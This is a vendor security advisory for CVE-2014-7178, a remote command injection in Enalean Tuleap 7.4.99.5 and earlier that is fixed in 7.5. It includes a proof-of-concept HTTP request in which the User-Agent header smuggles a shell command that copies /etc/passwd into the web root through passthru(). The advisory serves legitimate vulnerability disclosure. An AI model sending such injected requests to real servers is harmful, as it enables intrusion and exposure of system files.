Enalean Tuleap 7.4.99.5 - Remote Command Execution

Vulnerability title: Tuleap <= 7.4.99.5 Remote Command Execution in Enalean Tuleap

CVE: CVE-2014-7178

Vendor: Enalean

Product: Tuleap

Affected version: 7.4.99.5 and earlier

Fixed version: 7.5

Reported by: Jerzy Kramarz



Details:



Tuleap does not validate the syntax of the requests submitted to SVN handler pages in order to validate weather request passed to passthru() function are introducing any extra parameters that would be executed in the content of the application.



This vulnerability can be exploited by external attackers to introduce external commands into the workflow of the application that would execute them as shown on the attached Proof Of Concept code below.



After registering with the application and sending a request similar to the one below the vulnerability can be triggered:





GET /svn/viewvc.php/?roottype=svn&root=t11 HTTP/1.1

Host: [IP]

User-Agent: M" && cat /etc/passwd > /usr/share/codendi/src/www/passwd.txt && "ozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://[IP]/svn/?group_id=102

Cookie: PHPSESSID=2uqjkd0iupn84gigi4e1tekg95; TULEAP_session_hash=362a9e41d1a93c8f195db4ccc6698ef5

Connection: keep-alive

Cache-Control: max-age=0





Note: In order to exploit this vulnerability a user needs to be in position to see SVN repository.





Further details at:



https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-7178/



Copyright:

Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.



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